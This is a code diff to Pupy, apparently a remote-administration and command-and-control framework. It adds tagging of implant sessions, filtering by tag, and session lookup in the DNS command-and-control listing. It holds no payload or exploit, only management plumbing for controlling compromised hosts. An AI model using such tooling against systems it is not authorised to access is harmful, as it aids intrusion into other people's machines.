diff --git a/pupy/network/lib/picocmd/server.py b/pupy/network/lib/picocmd/server.py index 997621eb..38e5dcb0 100644 --- a/pupy/network/lib/picocmd/server.py +++ b/pupy/network/lib/picocmd/server.py @@ -166,10 +166,6 @@ class DnsCommandServerHandler(BaseResolver): @locked def reset_commands(self, session=None, default=False): - if session: - if type(session) in (str, unicode): - session = int(session, 16) - if default: self.commands = [] diff --git a/pupy/packages/all/pyuvproxy.py b/pupy/packages/all/pyuvproxy.py index 64fc560b..c5aaba8c 100644 --- a/pupy/packages/all/pyuvproxy.py +++ b/pupy/packages/all/pyuvproxy.py @@ -107,6 +107,9 @@ class Connection(object): struct.pack( 'BB', 0x5, ERRNO_TO_SOCKS5.get(error, CODE_GENERAL_SRV_FAILURE) ) + self.socks5[2:]) + except: + pass + finally: self.close(error, mutual=False) else: diff --git a/pupy/pupylib/PupyClient.py b/pupy/pupylib/PupyClient.py index 0d79656d..54c7a0f3 100755 --- a/pupy/pupylib/PupyClient.py +++ b/pupy/pupylib/PupyClient.py @@ -77,6 +77,9 @@ class PupyClient(object): except Exception: return "unknown" + def node(self): + return self.desc['macaddr'].replace(':', '').lower() + def is_unix(self): return not self.is_windows() diff --git a/pupy/pupylib/PupyCmd.py b/pupy/pupylib/PupyCmd.py index aada9ad6..3ffa5d54 100644 --- a/pupy/pupylib/PupyCmd.py +++ b/pupy/pupylib/PupyCmd.py @@ -446,6 +446,48 @@ class PupyCmd(cmd.Cmd): doc = '' self.stdout.write("{:<25} {}\n".format("%s/%s"%(mod.category,mod.get_name()), color(doc.title().split("\n",1)[0],'grey'))) + def do_tag(self, arg): + """ add tag to current session """ + arg_parser = PupyArgumentParser(prog='sessions', description=self.do_tag.__doc__) + arg_parser.add_argument('-a', '--add', metavar='tag', nargs='+', help='Add tags') + arg_parser.add_argument('-r', '--remove', metavar='tag', nargs='+', help='Remove tags') + arg_parser.add_argument('-w', '--write-project', action='store_true', + default=False, help='save config to project folder') + arg_parser.add_argument('-W', '--write-user', action='store_true', + default=False, help='save config to user folder') + + try: + modargs = arg_parser.parse_args(shlex.split(arg)) + except PupyModuleExit: + return + + data = [] + + clients = self.pupsrv.get_clients(self.default_filter) + + if not clients: + return + + for client in clients: + tags = self.pupsrv.config.tags(client.node()) + + if modargs.remove: + tags.remove(*modargs.remove) + + if modargs.add: + tags.add(*modargs.add) + + data.append({ + 'ID': client.node(), + 'TAGS': tags + }) + + self.config.save(project=modargs.write_project, user=modargs.write_user) + + self.display( + PupyCmd.table_format(data) + ) + def do_sessions(self, arg): """ list/interact with established sessions """ arg_parser = PupyArgumentParser(prog='sessions', description=self.do_sessions.__doc__) @@ -501,15 +543,26 @@ class PupyCmd(cmd.Cmd): columns = [ 'id', 'user', 'hostname', 'platform', 'release', 'os_arch', - 'proc_arch', 'intgty_lvl', 'address' + 'proc_arch', 'intgty_lvl', 'address', 'tags' ] - self.display(PupyCmd.table_format([ - { - k:colorize(v, 'white' if x in filtered_clients else 'darkgrey') - for k,v in x.desc.iteritems() if k in columns - } for x in client_list - ], wl=columns)) + content = [] + + for client in client_list: + color = 'white' if client in filtered_clients else 'darkgrey' + + data = { + k:colorize(v, color) + for k,v in client.desc.iteritems() if k in columns + } + + data.update({ + 'tags': colorize(self.config.tags(client.node()), color) + }) + + content.append(data) + + self.display(PupyCmd.table_format(content, wl=columns)) elif modargs.killall: client_list=self.pupsrv.get_clients_list() @@ -950,7 +1003,7 @@ class PupyCmd(cmd.Cmd): ])) elif args.command == 'info': - sessions = self.dnscnc.list() + sessions = self.dnscnc.list(args.node) if not sessions: self.display_success('No active DNSCNC sesisons found') return @@ -977,15 +1030,17 @@ class PupyCmd(cmd.Cmd): 'EST': '{:d}'.format(session.system_status['remote']), 'USERS': '{:d}'.format(session.system_status['users']), 'IDLE': '{}'.format(session.system_status['idle']), + 'TAGS': '{}'.format(self.config.tags(session.system_info['node'])) } pupy_session = None for c in self.pupsrv.clients: - if c.desc['macaddr'].replace(':','').lower() == \ - '{:012x}'.format(session.system_info['node']): - pupy_session = c.desc['id'] - objects - break + if 'spi' in c.desc: + if c.desc['spi'] == '{:08x}'.format(session.spi): + pupy_session = c.desc['id'] + elif c.node() == '{:012x}'.format(session.system_info['node']): + pupy_session = c.desc['id'] + break color = '' if pupy_session: @@ -1005,7 +1060,7 @@ class PupyCmd(cmd.Cmd): columns = [ '#', 'P', 'NODE', 'SESSION', 'IP', 'OS', - 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE' + 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS' ] self.display( @@ -1013,7 +1068,7 @@ class PupyCmd(cmd.Cmd): ) elif args.command == 'list': - sessions = self.dnscnc.list() + sessions = self.dnscnc.list(args.node) if not sessions: self.display_success('No active DNSCNC sesisons found') return diff --git a/pupy/pupylib/PupyConfig.py b/pupy/pupylib/PupyConfig.py index c267c91e..6ecd188f 100644 --- a/pupy/pupylib/PupyConfig.py +++ b/pupy/pupylib/PupyConfig.py @@ -10,6 +10,48 @@ import platform import random import string +class Tags(object): + def __init__(self, config, node): + self.config = config + self.node = node + + def __iter__(self): + return iter(self.get()) + + def get(self): + try: + return set(self.config.get('tags', self.node).split(',')) + except: + return set() + + def set(self, tags): + return self.config.set('tags', self.node, ','.join([ + str(x) for x in tags + ])) + + def add(self, *tags): + current_tags = self.get() + for tag in tags: + current_tags.add(tag) + self.set(current_tags) + + def remove(self, *tags): + current_tags = self.get() + for tag in tags: + if tag in current_tags: + current_tags.remove(tag) + + if current_tags: + self.set(current_tags) + else: + self.clear() + + def clear(self): + self.config.remove_option('tags', self.node) + + def __str__(self): + return ','.join(self.get()) + class PupyConfig(ConfigParser): NoSectionError = NoSectionError @@ -31,6 +73,35 @@ class PupyConfig(ConfigParser): ConfigParser.__init__(self) self.read(self.files) + def tags(self, node): + if type(node) in (int, long): + node = '{:012x}'.format(node) + + return Tags(self, node) + + def by_tags(self, tags): + available_tags = { + k:self.get('tags', k).split(',') for k in self.options('tags') + } + + if '&' in tags: + tags = tags.split('&') + op_filter = all + elif '|' in tags: + tags = tags.split('|') + op_filter = any + else: + tags = tags.split(',') + op_filter = any + + result = [] + + for node, node_tags in available_tags.iteritems(): + if op_filter(x in node_tags for x in tags): + result.append(node) + + return result + def save(self, project=True, user=False): if project: project_dir = path.dirname(self.project_path) @@ -98,7 +169,8 @@ class PupyConfig(ConfigParser): def remove_option(self, section, key): if section != 'randoms': - ConfigParser.unset(self, section, key) + ConfigParser.remove_option(self, section, key) + elif section in self.command_line and key in self.command_line[section]: del self.command_line[section][key] if not self.command_line[section]: @@ -120,7 +192,12 @@ class PupyConfig(ConfigParser): if not self.command_line[section]: del self.command_line[section] - ConfigParser.set(self, section, key, value) + try: + ConfigParser.set(self, section, key, value) + except NoSectionError: + ConfigParser.add_section(self, section) + ConfigParser.set(self, section, key, value) + else: if not key: N = kwargs.get('random', 10) diff --git a/pupy/pupylib/PupyDnsCnc.py b/pupy/pupylib/PupyDnsCnc.py index d4d6b71c..967a01c3 100644 --- a/pupy/pupylib/PupyDnsCnc.py +++ b/pupy/pupylib/PupyDnsCnc.py @@ -18,6 +18,12 @@ from network.lib.igd import IGDClient, UPNPError class PupyDnsCommandServerHandler(DnsCommandServerHandler): def __init__(self, *args, **kwargs): + if 'config' in kwargs: + self.config = kwargs.get('config') + del kwargs['config'] + else: + self.config = None + DnsCommandServerHandler.__init__(self, *args, **kwargs) def connect(self, hosts, port, transport, node=None, default=False): @@ -55,6 +61,47 @@ class PupyDnsCommandServerHandler(DnsCommandServerHandler): session=node, default=default ) + def find_sessions(self, spi=None, node=None): + if spi or node: + results = [] + if self.config and node: + if type(node) in (str,unicode): + nodes = [] + for n in node.split(','): + try: + int(n, 16) + nodes.append(n) + except: + for tagged in self.config.by_tags(n): + nodes.append(tagged) + + if nodes: + results = DnsCommandServerHandler.find_sessions( + self, node=','.join(nodes) + ) + else: + results = [] + + if spi: + if type(spi) in (str,unicode): + spis = [] + for s in spi.split(','): + try: + int(s, 16) + spis.append(s) + except: + pass + + if spis: + results += DnsCommandServerHandler.find_sessions( + self, spi=','.join(spis) + ) + else: + results = DnsCommandServerHandler.find_sessions(self) + + return results + + class PupyDnsCnc(object): def __init__( self, igd=None, connect_host=None, @@ -101,7 +148,8 @@ class PupyDnsCnc(object): self.handler = PupyDnsCommandServerHandler( domain, credentials['DNSCNC_PRIV_KEY'], - recursor=recursor + recursor=recursor, + config=self.config ) self.server = DnsCommandServer( @@ -120,7 +168,8 @@ class PupyDnsCnc(object): self.server.stop() def list(self, node=None): - return [ session for session in self.handler.find_sessions(node=node) ] + return self.handler.find_sessions(node=node) \ + or self.handler.find_sessions(spi=node) def connect(self, host=None, port=None, transport=None, node=None, default=False): return self.handler.connect( diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index e03a017a..2e0d91a6 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -221,6 +221,10 @@ class PupyServer(threading.Thread): def get_clients(self, search_criteria): """ return a list of clients corresponding to the search criteria. ex: platform:*win* """ #if the criteria is a simple id we return the good client + + if not search_criteria: + return self.clients + try: indexes = set( int(x) for x in str(search_criteria).split(',') @@ -236,32 +240,47 @@ class PupyServer(threading.Thread): return l=set([]) + if search_criteria=="*": return self.clients + for c in self.clients: - take=False + take = False + tags = self.config.tags(c.node()) for sc in search_criteria.split(): - tab=sc.split(":",1) - if len(tab)==2 and tab[0] in [x for x in c.desc.iterkeys()]:#if the field is specified we search for the value in this field + tab = sc.split(":",1) + #if the field is specified we search for the value in this field + if len(tab)==2 and tab[0] in c.desc: take=True if not tab[1].lower() in str(c.desc[tab[0]]).lower(): take=False break + elif len(tab)==2 and tab[0] == 'tag' and tab[1] in tags: + take = True + elif len(tab)==2 and tab[0] == 'tags': + if '&' in tab[1]: + take = all(x in tags for x in tab[1].split('&') if x) + else: + take = any(x in tags for x in tab[1].split(',') if x) elif len(tab)!=2:#if there is no field specified we search in every field for at least one match take=False - for k,v in c.desc.iteritems(): - if type(v) is unicode or type(v) is str: - if tab[0].lower() in v.decode('utf8').lower(): - take=True - break - else: - if tab[0].lower() in str(v).decode('utf8').lower(): - take=True - break - if not take: - break + if tab[0] in tags: + take = True + else: + for k,v in c.desc.iteritems(): + if type(v) is unicode or type(v) is str: + if tab[0].lower() in v.decode('utf8').lower(): + take=True + break + else: + if tab[0].lower() in str(v).decode('utf8').lower(): + take=True + break + if not take: + break if take: l.add(c) + return list(l) def get_clients_list(self):